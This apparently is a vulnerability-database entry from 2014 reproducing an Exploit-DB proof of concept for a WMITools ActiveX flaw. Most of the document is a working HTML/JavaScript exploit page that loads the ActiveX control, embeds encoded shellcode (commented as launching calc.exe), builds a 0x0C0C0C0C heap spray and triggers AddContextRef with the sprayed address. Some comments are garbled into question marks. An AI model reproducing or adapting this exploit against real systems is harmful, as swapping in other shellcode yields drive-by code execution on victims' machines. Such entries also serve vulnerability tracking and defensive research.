WMITools ActiveX Remote Command Execution Exploit 0day

🗓️ 01 Jul 2014 00:00:00Reported by RootType

WMITools ActiveX Remote Command Execution 0da


                                                Exploit-DB Notes:
Original credit goes to &#34;????&#34; via WooYun:
http://www.wooyun.org/bugs/wooyun-2010-01006

&#60;html&#62;

&#60;object classid=&#34;clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08&#34; id=&#34;target&#34;&#62;&#60;/object&#62;



&#60;SCRIPT language=&#34;JavaScript&#34;&#62;

//run calc.exe

var shellcode = unescape(&#34;%uc92b%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u0c13%u452b%u83df%ufceb%uf4e2%uc3f0%udf01%u2b0c%u9ace%ua030%uda39%u2a74%u54aa%u3343%u80ce%u2a2c%u96ae%u1f87%udece%u1ae2%u4685%uafa0%uab85%uea0b%ud28f%ue90d%u2bae%u7f37%udb61%uce79%u80ce%u2a28%ub9ae%u2787%u540e%u3753%u3444%u3787%udece%ua2e7%ufb19%ue808%u1f74%ua068%uef05%ueb89%ud33d%u6b87%u5449%u377c%u54e8%u2364%ud6ae%uab87%udff5%u2b0c%ub7ce%u7430%u2974%u7d6c%u27cc%ueb8f%u8f3e%udb64%udbcf%u4353%u21dd%u2586%u2012%u48eb%ub324%u2b6f%udf45%u0000&#34;);



//????

var bigblock = unescape(&#34;%u0C0C%u0C0C&#34;);

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length&#60;slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace&#60;0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x&#60;350; x++) memory[x] = block +shellcode;



//?????call??

target.AddContextRef(0x0c0c0c0c);

&#60;/script&#62;

&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1